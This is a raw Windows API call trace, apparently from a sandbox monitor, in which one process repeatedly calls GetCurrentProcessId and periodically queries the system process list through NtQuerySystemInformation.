[0285.807] GetCurrentProcessId () returned 0x10c0 [0285.807] GetCurrentProcessId () returned 0x10c0 [0285.807] GetCurrentProcessId () returned 0x10c0 [0285.807] GetCurrentProcessId () returned 0x10c0 [0285.807] GetCurrentProcessId () returned 0x10c0 [0285.807] GetCurrentProcessId () returned 0x10c0 [0285.807] GetCurrentProcessId () returned 0x10c0 [0285.807] GetCurrentProcessId () returned 0x10c0 [0286.352] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1e118) returned 0x0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.358] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.359] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.360] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.361] GetCurrentProcessId () returned 0x10c0 [0286.928] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1e118) returned 0x0 [0286.929] GetCurrentProcessId () returned 0x10c0 [0286.929] GetCurrentProcessId () returned 0x10c0 [0286.929] GetCurrentProcessId () returned 0x10c0 [0286.929] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.930] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.931] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0286.932] GetCurrentProcessId () returned 0x10c0 [0287.467] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1e168) returned 0x0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.468] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.469] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.470] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.471] GetCurrentProcessId () returned 0x10c0 [0287.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1e168) returned 0x0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.990] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.991] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.992] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0287.993] GetCurrentProcessId () returned 0x10c0 [0288.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1e118) returned 0x0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.514] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.515] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.516] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] GetCurrentProcessId () returned 0x10c0 [0288.517] 